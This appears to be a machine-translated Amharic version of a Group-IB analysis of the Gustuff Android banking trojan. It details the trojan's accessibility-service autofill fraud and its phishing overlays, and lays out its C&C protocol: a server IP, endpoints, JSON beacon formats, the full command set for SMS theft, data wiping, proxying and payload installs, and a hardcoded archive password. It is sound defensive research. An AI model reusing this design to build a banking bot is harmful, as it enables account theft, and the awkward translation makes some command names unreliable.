አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ

ልክ ሌላኛው ቀን ቡድን-IB ተነግሯል ስለ ሞባይል አንድሮይድ Trojan Gustuff እንቅስቃሴ። በአለም አቀፍ ገበያዎች ላይ ብቻ ይሰራል, 100 ትላልቅ የውጭ ባንኮች ደንበኞችን, የሞባይል 32 ክሪፕቶ ቦርሳ ተጠቃሚዎችን እና ትላልቅ የኢ-ኮሜርስ ሀብቶችን ያጠቃል. ነገር ግን የጉስቱፍ አዘጋጅ ሩሲያኛ ተናጋሪ የሳይበር ወንጀለኛ ነው በቅፅል ስሙ Bestoffer። እስከ ቅርብ ጊዜ ድረስ የእሱን ትሮጃን “እውቀት እና ልምድ ላላቸው ሰዎች ከባድ ምርት” ሲል አሞካሽቷል።

ቡድን-IB ውስጥ ተንኮል አዘል ኮድ ትንተና ስፔሻሊስት ኢቫን ፒሳሬቭ በምርምርው ውስጥ ጉስቱፍ እንዴት እንደሚሰራ እና ምን አደጋዎች እንዳሉ በዝርዝር ይናገራል.

ጉስቱፍ ለማን ነው የሚያደነው?

Gustuff ሙሉ በሙሉ በራስ ሰር የሚሰሩ የአዲሱ የማልዌር ትውልድ ነው። እንደ ገንቢው ገለጻ፣ ትሮጃን ከህዳር 2017 ጀምሮ አንድሮይድ ስልኮችን ሲያጠቃ እና ገንዘብ እየዘረፈ የታወቁ የአለም አቀፍ ባንኮች እና የክፍያ ስርዓቶች የሞባይል አፕሊኬሽኖችን በማስመሰል የተሻሻለው AndyBot ማልዌር ሆኗል። Bestoffer የ Gustuff Bot ኪራይ ዋጋ በወር 800 ዶላር እንደነበር ዘግቧል።

የ Gustuff ናሙና ትንታኔ እንደሚያሳየው ትሮጃን እንደ አሜሪካ ባንክ ፣ ስኮትላንድ ባንክ ፣ ጄፒኤምርጋን ፣ ዌልስ ፋርጎ ፣ ካፒታል አንድ ፣ ቲዲ ባንክ ፣ ፒኤንሲ ባንክ እና እንዲሁም crypto wallets የመሳሰሉ ትላልቅ ባንኮች የሞባይል አፕሊኬሽኖችን በመጠቀም ደንበኞቹን ኢላማ ሊያደርግ ይችላል ። Bitcoin Wallet፣ BitPay፣ Cryptopay፣ Coinbase፣ ወዘተ

መጀመሪያ ላይ እንደ ክላሲክ የባንክ ትሮጃን የተፈጠረ፣ አሁን ባለው ስሪት ጉስቱፍ የጥቃት ኢላማዎችን ዝርዝር በከፍተኛ ሁኔታ አስፍቷል። ለባንኮች፣ ለፊንቴክ ኩባንያዎች እና ለክሪፕቶ አገልግሎቶች አንድሮይድ አፕሊኬሽኖች በተጨማሪ ጉስቱፍ በገበያ ቦታ አፕሊኬሽኖች፣ በመስመር ላይ መደብሮች፣ የክፍያ ሥርዓቶች እና ፈጣን መልእክተኞች ላይ ያነጣጠረ ነው። በተለይም PayPal፣ Western Union፣ eBay፣ Walmart፣ Skype፣ WhatsApp፣ Gett Taxi፣ Revolut እና ሌሎችም።

የመግቢያ ነጥብ: የጅምላ ኢንፌክሽን ስሌት

ጉስቱፍ በኤስኤምኤስ መልእክት ወደ ኤፒኬዎች በሚላኩ አገናኞች ወደ አንድሮይድ ስማርትፎኖች ዘልቆ በሚገባ “የተለመደ” ቬክተር ተለይቶ ይታወቃል። አንድሮይድ መሳሪያ በአገልጋዩ ትእዛዝ በትሮጃን ሲጠቃ ጉስቱፍ በተበከለ ስልክ የመረጃ ቋት ወይም በአገልጋዩ ዳታቤዝ በኩል ሊሰራጭ ይችላል። የ Gustuff ተግባር ለጅምላ ኢንፌክሽን እና ለኦፕሬተሮቹ ንግድ ከፍተኛውን ካፒታላይዜሽን የተነደፈ ነው - ወደ ህጋዊ የሞባይል ባንክ አፕሊኬሽኖች እና crypto የኪስ ቦርሳዎች ልዩ የሆነ “ራስ-ሙላ” ተግባር አለው ፣ ይህም የገንዘብ ስርቆትን ለማፋጠን እና ለመለካት ያስችልዎታል።

በትሮጃን ላይ የተደረገ ጥናት እንደሚያሳየው የራስ-ሙላ ተግባር የተደራሽነት አገልግሎትን በመጠቀም የአካል ጉዳተኞች አገልግሎትን በመጠቀም ነው። ጉስቱፍ ይህን የአንድሮይድ አገልግሎት በመጠቀም ከሌሎች መተግበሪያዎች የመስኮት አካላት ጋር ያለውን መስተጋብር ለመከላከል በተሳካ ሁኔታ የሚያልፍ ትሮጃን የመጀመሪያው አይደለም። ሆኖም የተደራሽነት አገልግሎትን ከመኪና መሙያ ጋር መጠቀም አሁንም በጣም አልፎ አልፎ ነው።

ወደ ተጎጂው ስልክ ካወረዱ በኋላ የተደራሽነት አገልግሎትን በመጠቀም ጉስቱፍ ከሌሎች አፕሊኬሽኖች የመስኮት አካላት (ባንክ ፣ክሪፕቶፕ ፣እንዲሁም የመስመር ላይ ግብይት ፣መልእክት ፣ወዘተ) ጋር መስተጋብር መፍጠር ለአጥቂዎች አስፈላጊ የሆኑትን ተግባራት ማከናወን ይችላል። . ለምሳሌ ፣ በአገልጋዩ ትእዛዝ ፣ ትሮጃን አዝራሮችን መጫን እና በባንክ መተግበሪያዎች ውስጥ የጽሑፍ መስኮችን እሴቶችን መለወጥ ይችላል። የተደራሽነት አገልግሎት ዘዴን በመጠቀም ትሮጃን ባንኮች የቀደሙትን የሞባይል ትሮጃኖች ለመከላከል የሚጠቀሙባቸውን የደህንነት ዘዴዎች እንዲያልፍ ያስችለዋል፣ እንዲሁም በGoogle በአዲሱ የአንድሮይድ ኦኤስ ስሪቶች ላይ የሚተገበሩ የደህንነት ፖሊሲ ለውጦች። ስለዚህ ጉስቱፍ የጉግል ጥበቃ ጥበቃን እንዴት እንደሚያሰናክለው "ያውቀዋል" እንደ ደራሲው ከሆነ ይህ ተግባር በ 70% ከሚሆኑት ጉዳዮች ውስጥ ይሰራል።

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ

ጉስቱፍ በተጨማሪም የውሸት የPUSH ማሳወቂያዎችን ከህጋዊ የሞባይል መተግበሪያዎች አዶዎች ጋር ማሳየት ይችላል። ተጠቃሚው በPUSH ማሳወቂያ ላይ ጠቅ በማድረግ ከአገልጋዩ የወረደውን የማስገር መስኮት ያያሉ፣ የተጠየቀውን የባንክ ካርድ ወይም የኪስ ቦርሳ ዳታ ያስገባል። በሌላ የGustuff ሁኔታ፣ የPUSH ማሳወቂያ የታየበት መተግበሪያ ተከፍቷል። በዚህ አጋጣሚ፣ ማልዌር፣ በተደራሽነት አገልግሎት በኩል ከአገልጋዩ ትእዛዝ ሲሰጥ፣ ለተጭበረበረ ግብይት የባንክ ማመልከቻ ቅጽ መሙላት ይችላል።

የጉስቱፍ ተግባር በተጨማሪ ስለታመመ መሳሪያ መረጃን ወደ አገልጋዩ መላክ ፣ SMS መልዕክቶችን ማንበብ/መላክ መቻል ፣ USSD ጥያቄዎችን መላክ ፣ SOCKS5 Proxy ማስጀመር ፣ አገናኝን መከተል ፣ ፋይሎችን መላክ (የሰነዶችን የፎቶ ቅኝት ፣ ቅጽበታዊ ገጽ እይታዎችን ፣ ፎቶግራፎችን ጨምሮ) ወደ አገልጋይ , መሣሪያውን ወደ ፋብሪካው ቅንብሮች ዳግም ያስጀምሩት.

የማልዌር ትንተና

ተንኮል አዘል መተግበሪያ ከመጫንዎ በፊት አንድሮይድ ኦኤስ ለተጠቃሚው በGustuff የተጠየቁ የመብቶች ዝርዝር የያዘ መስኮት ያሳያል፡-

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ
አፕሊኬሽኑ የሚጫነው የተጠቃሚውን ፈቃድ ከተቀበለ በኋላ ነው። አፕሊኬሽኑን ከጀመረ በኋላ ትሮጃኑ ለተጠቃሚው መስኮት ያሳየዋል፡-

አንድሮይድ ትሮጃን ጉስቱፍ ክሬሙን (fiat እና crypto) ከሂሳብዎ እንዴት እንደሚያስወግድ
ከዚያ በኋላ አዶውን ያስወግዳል.

ጉስቱፍ እንደ ደራሲው ከሆነ ከኤፍቲቲ በመጣው ፓከር ተሞልቷል። ከጅምር በኋላ ትግበራው ትዕዛዞችን ለመቀበል በየጊዜው የ CnC አገልጋይን ያነጋግራል። የመረመርናቸው በርካታ ፋይሎች የአይ ፒ አድራሻን እንደ መቆጣጠሪያ አገልጋይ ተጠቅመዋል 88.99.171[.] 105 (ከዚህ በኋላ እንጠቁመዋለን <%CnC%>).

ከተጀመረ በኋላ ፕሮግራሙ ወደ አገልጋዩ መልእክት መላክ ይጀምራል http://<%CnC%>/api/v1/get.php.

ምላሹ JSON በሚከተለው ቅርጸት ይጠበቃል፡

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

አፕሊኬሽኑ በገባ ቁጥር ስለተበከለው መሳሪያ መረጃ ይልካል። የመልእክቱ ቅርጸት ከዚህ በታች ይታያል። መስኮችን ልብ ሊባል የሚገባው ነው ሙሉ, ተጨማሪ, መተግበሪያዎች и ፈቃድ - አማራጭ እና ከ CnC የጥያቄ ትእዛዝ ብቻ ይላካል።

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

የውቅር ውሂብን በማከማቸት ላይ

Gustuff በምርጫ ፋይል ውስጥ ለኦፕሬሽን አስፈላጊ መረጃ ያከማቻል። የፋይሉ ስም እና በውስጡ ያሉት የመለኪያዎች ስሞች የ MD5 ድምርን ከሕብረቁምፊው የማስላት ውጤት ናቸው። 15413090667214.6.1<%ስም%>የት <%ስም%> - የመጀመሪያ ስም-እሴት. የፓይዘን የስም ማመንጨት ተግባር ትርጓሜ፡-

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

በሚከተለው ውስጥ እንደ እንወክላለን ስም ጀነሬተር (ግቤት).
ስለዚህ የመጀመሪያው የፋይል ስም: ስም ጀነሬተር("API_SERVER_LIST")ከሚከተሉት ስሞች ጋር እሴቶችን ይዟል።

ተለዋዋጭ ስም ዋጋ
ስም ጀነሬተር("API_SERVER_LIST") የCnC አድራሻዎችን በድርድር መልክ ይዟል።
ስም ጀነሬተር("API_SERVER_URL") የCnC አድራሻን ይዟል።
ስም ጀነሬተር("SMS_UPLOAD") ባንዲራ በነባሪነት ተቀናብሯል። ባንዲራ ከተዋቀረ የኤስኤምኤስ መልዕክቶችን ወደ CnC ይልካል።
ስም ጀነሬተር("SMS_ROOT_NUMBER") በበሽታው በተያዘው መሳሪያ የተቀበሏቸው የኤስኤምኤስ መልዕክቶች የሚላኩበት ስልክ ቁጥር። ነባሪው ባዶ ነው።
ስም ጀነሬተር("SMS_ROOT_NUMBER_RESEND") ባንዲራ በነባሪነት ጸድቷል። ከተጫነ የተበከለ መሳሪያ ኤስኤምኤስ ሲደርሰው ወደ ስርወ ቁጥሩ ይላካል።
ስም ጀነሬተር("DEFAULT_APP_SMS") ባንዲራ በነባሪነት ጸድቷል። ይህ ጥቆማ ከተዋቀረ አፕሊኬሽኑ ገቢ የኤስኤምኤስ መልዕክቶችን ያስተናግዳል።
ስም ጀነሬተር("DEFAULT_ADMIN") ባንዲራ በነባሪነት ጸድቷል። ባንዲራ ከተዋቀረ ማመልከቻው የአስተዳዳሪ መብቶች አሉት።
ስም ጀነሬተር("DEFAULT_ACCESSIBILITY") ባንዲራ በነባሪነት ጸድቷል። ባንዲራ ከተዋቀረ የተደራሽነት አገልግሎትን የሚጠቀም አገልግሎት እየሰራ ነው።
ስም ጀነሬተር("APPS_CONFIG") ከአንድ የተወሰነ መተግበሪያ ጋር የተገናኘ የተደራሽነት ክስተት ሲቀሰቀስ መደረግ ያለባቸውን የእርምጃዎች ዝርዝር የያዘ የJSON ነገር።
ስም ጀነሬተር("APPS_INSTALLED") በመሳሪያው ላይ የተጫኑትን የመተግበሪያዎች ዝርዝር ያከማቻል.
ስም ጀነሬተር("IS_FIST_RUN") ባንዲራ በመጀመሪያው ጅምር ላይ ዳግም ተቀናብሯል።
ስም ጀነሬተር("UNIQUE_ID") ልዩ መለያ ይዟል። ቦት ለመጀመሪያ ጊዜ ሲጀመር የተፈጠረ።

ከአገልጋዩ ትዕዛዞችን ለማስኬድ ሞጁል።

አፕሊኬሽኑ የCnC አገልጋዮችን አድራሻ በ ኮድ በተቀመጠው ድርድር መልክ ያከማቻል መሠረት 85 መስመሮች. ተገቢውን ትዕዛዝ ከተቀበለ በኋላ የ CnC አገልጋዮች ዝርዝር ሊቀየር ይችላል, በዚህ ጊዜ አድራሻዎቹ በምርጫ ፋይል ውስጥ ይቀመጣሉ.

ለጥያቄው ምላሽ, አገልጋዩ ለመተግበሪያው ትዕዛዝ ይልካል. ትእዛዞች እና መለኪያዎች በJSON ቅርጸት እንደሚቀርቡ ልብ ሊባል ይገባል። አፕሊኬሽኑ የሚከተሉትን ትዕዛዞች ማካሄድ ይችላል፡-

ቡድን መግለጫ
ወደፊት ጀምር በበሽታው በተያዘው መሳሪያ የተቀበላቸውን የኤስኤምኤስ መልዕክቶች ወደ CnC አገልጋይ መላክ ይጀምሩ።
ወደፊት ማቆም በበሽታው በተያዘው መሳሪያ የተቀበላቸውን የኤስኤምኤስ መልዕክቶች ወደ CnC አገልጋይ መላክ አቁም
ussdRun የUSSD ጥያቄን ያስፈጽሙ። የ USSD ጥያቄ ለማቅረብ የሚያስፈልግህ ቁጥር በ JSON መስክ "ቁጥር" ውስጥ ይገኛል.
ኤስኤምኤስ መላክ አንድ የኤስኤምኤስ መልእክት ይላኩ (አስፈላጊ ከሆነ መልእክቱ ወደ ክፍሎች "የተከፋፈለ" ነው). እንደ ልኬት ፣ ትዕዛዙ የመልእክቱን አካል “ወደ” - የመድረሻ ቁጥር እና “አካል” - የመልእክቱን አካል የያዘውን የJSON ነገር ይወስዳል።
SMSAb መላክ የኤስኤምኤስ መልዕክቶችን ይላኩ (አስፈላጊ ከሆነ መልእክቱ "የተከፋፈለ" ነው) በተበከለው መሣሪያ ዝርዝር ውስጥ ላሉ ሁሉ። መልዕክቶችን በመላክ መካከል ያለው የጊዜ ክፍተት 10 ሰከንድ ነው። የመልእክቱ አካል በJSON መስክ "አካል" ውስጥ አለ
SMSMass ላክ የኤስኤምኤስ መልዕክቶችን (አስፈላጊ ከሆነ መልእክቱ "የተከፋፈለ" ነው) በትዕዛዝ መለኪያዎች ውስጥ ወደተገለጹት አድራሻዎች ይላኩ. መልዕክቶችን በመላክ መካከል ያለው የጊዜ ክፍተት 10 ሰከንድ ነው። እንደ ልኬት ፣ ትዕዛዙ የ JSON አደራደር (የ “ኤስኤምኤስ” መስክ) ይወስዳል ፣ ክፍሎቹ “ወደ” - የመድረሻ ቁጥር እና “አካል” - የመልእክቱ አካል።
አገልጋይ ቀይር ይህ ትእዛዝ አንድ እሴትን ከ “ዩአርኤል” ቁልፍ ጋር እንደ ግቤት ሊወስድ ይችላል - ከዚያ ቦቱ የስም ጀነሬተርን (“SERVER_URL”) ወይም “array”ን ዋጋ ይለውጣል - ከዚያ ቦቱ ድርድርውን ወደ ስም ጀነሬተር (“API_SERVER_LIST”) ይጽፋል። ስለዚህ, አፕሊኬሽኑ የ CnC አገልጋዮችን አድራሻ ይለውጣል.
የአስተዳዳሪ ቁጥር ትዕዛዙ ከስር ቁጥር ጋር ለመስራት የተነደፈ ነው። ትዕዛዙ የJSON ነገር ከሚከተሉት መለኪያዎች ጋር ይቀበላል፡- “ቁጥር” — ስም ጀነሬተርን (“ROOT_NUMBER”) ወደተቀበለው እሴት ቀይር፣ “ዳግም ላክ” — ስም ጀነሬተርን ቀይር (“SMS_ROOT_NUMBER_RESEND”)፣ “sendId” — ወደ ስም ጀነሬተር (“ROOT_NUMBER” ላክ) ) ልዩ መታወቂያ
ወቅታዊ መረጃ ስለተበከለው መሳሪያ መረጃ ወደ አገልጋዩ ይላኩ።
ዳታ ጨርሶ መሰረዝ ትዕዛዙ የተጠቃሚውን ውሂብ ለማጥፋት የታሰበ ነው። አፕሊኬሽኑ በምን ስም እንደተጀመረ ወይም መረጃው በመሳሪያ ዳግም ማስነሳት (ዋና ተጠቃሚ) ሙሉ በሙሉ ይሰረዛል፣ ወይም የተጠቃሚው ውሂብ ብቻ ይሰረዛል (ሁለተኛ ተጠቃሚ)።
socksStart የተኪ ሞጁሉን ያስጀምሩ። የሞጁሉ አሠራር በተለየ ክፍል ውስጥ ተገልጿል.
socksStop የተኪ ሞጁሉን ያቁሙ።
ክፈት ሊንክ ሊንኩን ተከተሉ። ማገናኛ በ JSON ግቤት ውስጥ በ "url" ቁልፍ ስር ይገኛል. "android.intent.action.VIEW" አገናኙን ለመክፈት ይጠቅማል።
ሁሉንም ኤስኤምኤስ ስቀል በመሳሪያው የተቀበሉትን ሁሉንም የኤስኤምኤስ መልዕክቶች ወደ አገልጋዩ ይላኩ።
ሁሉንም ፎቶዎች ስቀል ከተበከለ መሳሪያ ምስሎችን ወደ URL ላክ። ዩአርኤሉ እንደ ልኬት ይመጣል።
ሰቀላ ፋይል ከተበከለ መሳሪያ ፋይል ወደ URL ላክ። ዩአርኤሉ እንደ ልኬት ይመጣል።
ስልክ ቁጥሮች ስቀል ስልክ ቁጥሮችን ከእውቂያ ዝርዝርዎ ወደ አገልጋዩ ይላኩ። “ab” ቁልፍ ያለው የJSON ነገር እሴት እንደ ልኬት ከተቀበለ አፕሊኬሽኑ የእውቂያዎች ዝርዝር ከስልክ ማውጫ ይቀበላል። “ኤስኤምኤስ” ቁልፍ ያለው የJSON ነገር እንደ ልኬት ከተቀበለ አፕሊኬሽኑ የኤስኤምኤስ መልእክት ላኪዎችን የእውቂያዎች ዝርዝር ያነባል።
ለውጥ መዝገብ ቤት አፕሊኬሽኑ የ"url" ቁልፍን በመጠቀም እንደ መለኪያ ከሚመጣው አድራሻ ፋይሉን ያወርዳል። የወረደው ፋይል በ "archive.zip" ስም ተቀምጧል. አፕሊኬሽኑ የፋይሉን ዚፕ ይከፍታል፣ እንደ አማራጭ የማህደር ይለፍ ቃል “b5jXh37gxgHBrZhQ4j3D” ይጠቀማል። ያልተከፈቱት ፋይሎች በ [ውጫዊ ማከማቻ]/hgps ማውጫ ውስጥ ይቀመጣሉ። በዚህ ማውጫ ውስጥ አፕሊኬሽኑ የድር ሀሰተኛ መረጃዎችን ያከማቻል (ከዚህ በታች ተብራርቷል።
አክሲዮን ትዕዛዙ በተለየ ክፍል ውስጥ ከተገለጸው ከድርጊት አገልግሎት ጋር ለመስራት የተነደፈ ነው.
ሙከራ ምንም ማድረግ.
አውርድ ትዕዛዙ አንድን ፋይል ከርቀት አገልጋይ ለማውረድ እና ወደ "ማውረዶች" ማውጫ ውስጥ ለማስቀመጥ የታሰበ ነው። የዩአርኤል እና የፋይል ስም እንደ ልኬት ይመጣሉ፣ መስኮች በJSON ግቤት ነገር፣ በቅደም ተከተል፡ "url" እና ​​"ፋይል ስም"።
ማስወገድ ፋይልን ከ"ማውረዶች" ማውጫ ያስወግዳል። የፋይሉ ስም በ JSON መለኪያ ከ"ፋይል ስም" ቁልፍ ጋር ይመጣል። የመደበኛ ፋይል ስም "tmp.apk" ነው.
ማስታወቂያ በአስተዳደር አገልጋዩ የተገለጹ መግለጫ እና የርዕስ ጽሑፎች ያለው ማሳወቂያ አሳይ።

የትእዛዝ ቅርጸት ማስታወቂያ:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

በምርመራ ላይ ባለው ፋይል የመነጨው ማስታወቂያ በመስክ ላይ ከተጠቀሰው መተግበሪያ ከተፈጠሩት ማሳወቂያዎች ጋር ተመሳሳይ ይመስላል መተግበሪያ. የመስክ ዋጋ ከሆነ ክፍት መተግበሪያ — እውነት ነው፣ ማሳወቂያ ሲከፈት በመስክ ላይ የተገለጸው መተግበሪያ ይጀምራል መተግበሪያ. የመስክ ዋጋ ከሆነ ክፍት መተግበሪያ - ውሸት ነው እንግዲህ

  • የማስገር መስኮት ይከፈታል, ይዘቱ ከማውጫው ላይ ይወርዳል <%ውጫዊ ማከማቻ%>/hgps/<%filename%>
  • የማስገር መስኮት ይከፈታል, ይዘቱ ከአገልጋዩ ይወርዳል <%url%>?id=<%Bot id%>&app=<%የመተግበሪያ ስም%>
  • የካርድ ዝርዝሮችን ለማስገባት እንደ ጎግል ፕሌይ ካርድ በመምሰል የማስገር መስኮት ይከፈታል።

አፕሊኬሽኑ የማንኛውንም ትዕዛዝ ውጤት ይልካል <%CnC%>set_state.php እንደ JSON ነገር በሚከተለው ቅርጸት፡-

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

የተግባር አገልግሎት
የመተግበሪያው ሂደቶች የሚያካትቱት የትእዛዞች ዝርዝር እርምጃ. ትእዛዝ ሲደርሰው የትእዛዝ ማቀናበሪያ ሞጁሉ የተራዘመውን ትዕዛዝ ለማስፈጸም ይህንን አገልግሎት ይደርሳል። አገልግሎቱ የJSON ነገርን እንደ መለኪያ ይቀበላል። አገልግሎቱ የሚከተሉትን ትዕዛዞች ሊፈጽም ይችላል.

1. PARAMS_ACTION - እንዲህ ዓይነቱን ትእዛዝ ሲቀበሉ አገልግሎቱ በመጀመሪያ ከ JSON ግቤት የአይነት ቁልፍ ዋጋ ይቀበላል ፣ ይህም እንደሚከተለው ሊሆን ይችላል ።

  • የአገልግሎት መረጃ - ንዑስ ትዕዛዙ ዋጋውን በቁልፍ ከ JSON መለኪያ ያገኛል አስፈላጊ ያልሆነን ይጨምራል. ባንዲራው እውነት ከሆነ አፕሊኬሽኑ ባንዲራውን ያዘጋጃል። FLAG_ISOLATED_PROCESS የተደራሽነት አገልግሎትን በመጠቀም ወደ አገልግሎት። በዚህ መንገድ አገልግሎቱ በተለየ ሂደት ውስጥ ይጀምራል.
  • ሼር - አሁን ትኩረት ስለተሰጠው መስኮት መረጃ መቀበል እና ለአገልጋዩ መላክ። አፕሊኬሽኑ የAccessibilityNodeInfo ክፍልን በመጠቀም መረጃ ያገኛል።
  • አስተዳዳሪ - የአስተዳዳሪ መብቶችን ይጠይቁ.
  • መዘግየት — ለ"ዳታ" ቁልፍ በመለኪያው ውስጥ ለተገለጹት የሚሊሰከንዶች ብዛት የActionsServiceን ማገድ።
  • መስኮቶች - ለተጠቃሚው የሚታዩ መስኮቶችን ዝርዝር ይላኩ።
  • ጫን - መተግበሪያውን በተበከለው መሣሪያ ላይ ይጫኑት። የማህደሩ ጥቅል ስም በ "ፋይል ስም" ቁልፍ ውስጥ ነው. ማህደሩ ልሹ በውርዶች ማውጫ ውስጥ ይገኛል።
  • ዓለም አቀፍ - ንዑስ ትዕዛዙ አሁን ካለው መስኮት ለማሰስ የታሰበ ነው-
    • በፈጣን ቅንጅቶች ሜኑ ላይ
    • ጀርባ
    • ቤት
    • ወደ ማሳወቂያዎች
    • በቅርቡ ወደተከፈተው የመተግበሪያዎች መስኮት

  • ይጀምራል - መተግበሪያውን ያስጀምሩ። የመተግበሪያው ስም እንደ መለኪያ በቁልፍ ይመጣል መረጃ.
  • ድምጾች - የድምፅ ሁነታን ወደ ጸጥታ ይለውጡ።
  • ለመክፈት - የማያ ገጹን የጀርባ ብርሃን እና የቁልፍ ሰሌዳ ወደ ሙሉ ብሩህነት ያበራል። አፕሊኬሽኑ ይህንን ተግባር WakeLock በመጠቀም ያከናውናል፣ ሕብረቁምፊውን [Application Lable]:INFO እንደ መለያ ይገልፃል።
  • ፍቃድ ተደራቢ - ተግባሩ አልተተገበረም (ለትዕዛዝ አፈፃፀም የሚሰጠው ምላሽ {"መልዕክት"፡"አይደገፍም"} ወይም {"መልዕክት"፡"low sdk"} ነው)
  • የእጅ ምልክት - ተግባሩ አልተተገበረም (ለትዕዛዝ አፈፃፀም የሚሰጠው ምላሽ {"መልዕክት"፡"አይደግፍም"}ወይም {"መልዕክት"፡"ዝቅተኛ ኤፒአይ"} ነው)
  • ፍቃዶች - ይህ ትዕዛዝ ለመተግበሪያው ፈቃድ ለመጠየቅ አስፈላጊ ነው. ይሁን እንጂ የመጠይቁ ተግባር አልተተገበረም, ስለዚህ ትዕዛዙ ትርጉም የለሽ ነው. የተጠየቁ መብቶች ዝርዝር እንደ JSON ድርድር የ"ፈቃዶች" ቁልፍ ይመጣል። መደበኛ ዝርዝር፡-
    • የ android. ፈቃድ። READ_PHONE_STATE
    • android.ፍቃድ።READ_CONTACTS
    • android.ፍቃድ.CALL_PHONE
    • android.ፍቃድ.ኤስኤምኤስ ተቀበል
    • android.ፍቃድ.ላክ.ኤስ.ኤም.ኤስ
    • android.ፍቃድ.ኤስኤምኤስ_አንብብ
    • android.ፍቃድ።READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE።

  • ክፍት - የማስገር መስኮት አሳይ። ከአገልጋዩ በሚመጣው ግቤት ላይ በመመስረት አፕሊኬሽኑ የሚከተሉትን የማስገር መስኮቶች ሊያሳይ ይችላል።
    • ይዘቱ በማውጫ ውስጥ በፋይል ውስጥ የተፃፈ የማስገር መስኮት አሳይ <%external directory%>/hgps/<%param_filename%>. ከመስኮቱ ጋር የተጠቃሚው መስተጋብር ውጤት ይላካል <%CnC%>/records.php
    • ይዘቱ ከአድራሻው አስቀድሞ የተጫነ የማስገር መስኮት አሳይ <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ከመስኮቱ ጋር የተጠቃሚው መስተጋብር ውጤት ይላካል <%CnC%>/records.php
    • እንደ ጎግል ፕሌይ ካርድ የተመሰለ የማስገር መስኮት አሳይ።

  • አሳታፊ - ትዕዛዙ የተደራሽነት አገልግሎትን በመጠቀም ከሌሎች መተግበሪያዎች የመስኮት አካላት ጋር ለመግባባት የተቀየሰ ነው። ለግንኙነት በፕሮግራሙ ውስጥ ልዩ አገልግሎት ተተግብሯል. በምርመራ ላይ ያለው መተግበሪያ ከዊንዶውስ ጋር መገናኘት ይችላል-
    • በአሁኑ ጊዜ ንቁ። በዚህ አጋጣሚ መለኪያው መስተጋብር የሚያስፈልግዎትን ነገር መታወቂያ ወይም ጽሑፍ (ስም) ይዟል።
    • ትዕዛዙ በሚፈፀምበት ጊዜ ለተጠቃሚው የሚታይ። አፕሊኬሽኑ መስኮቶችን በመታወቂያ ይመርጣል።

    ዕቃዎችን ተቀብለዋል ተደራሽነትNodeInfo ለፍላጎት የመስኮት አካላት ትግበራው እንደ ግቤቶች ላይ በመመስረት የሚከተሉትን ተግባራት ማከናወን ይችላል ።

    • ትኩረት - ትኩረትን ወደ ዕቃው ያቀናብሩ።
    • ጠቅ ያድርጉ - በአንድ ነገር ላይ ጠቅ ያድርጉ።
    • actionId - አንድ ድርጊት በመታወቂያ ያከናውኑ።
    • setText - የነገሩን ጽሑፍ ይቀይሩ። ጽሑፉን መለወጥ በሁለት መንገዶች ይቻላል-አንድ ድርጊት ያከናውኑ ACTION_SET_TEXT (የተበከለው መሣሪያ አንድሮይድ ስሪት ከእድሜ ያነሰ ወይም እኩል ከሆነ LOLLIPOP), ወይም ሕብረቁምፊን በቅንጥብ ሰሌዳው ላይ በማስቀመጥ እና ወደ አንድ ነገር (ለአሮጌ ስሪቶች) በመለጠፍ. ይህ ትእዛዝ በባንክ አፕሊኬሽን ውስጥ ያለውን ውሂብ ለመለወጥ ሊያገለግል ይችላል።

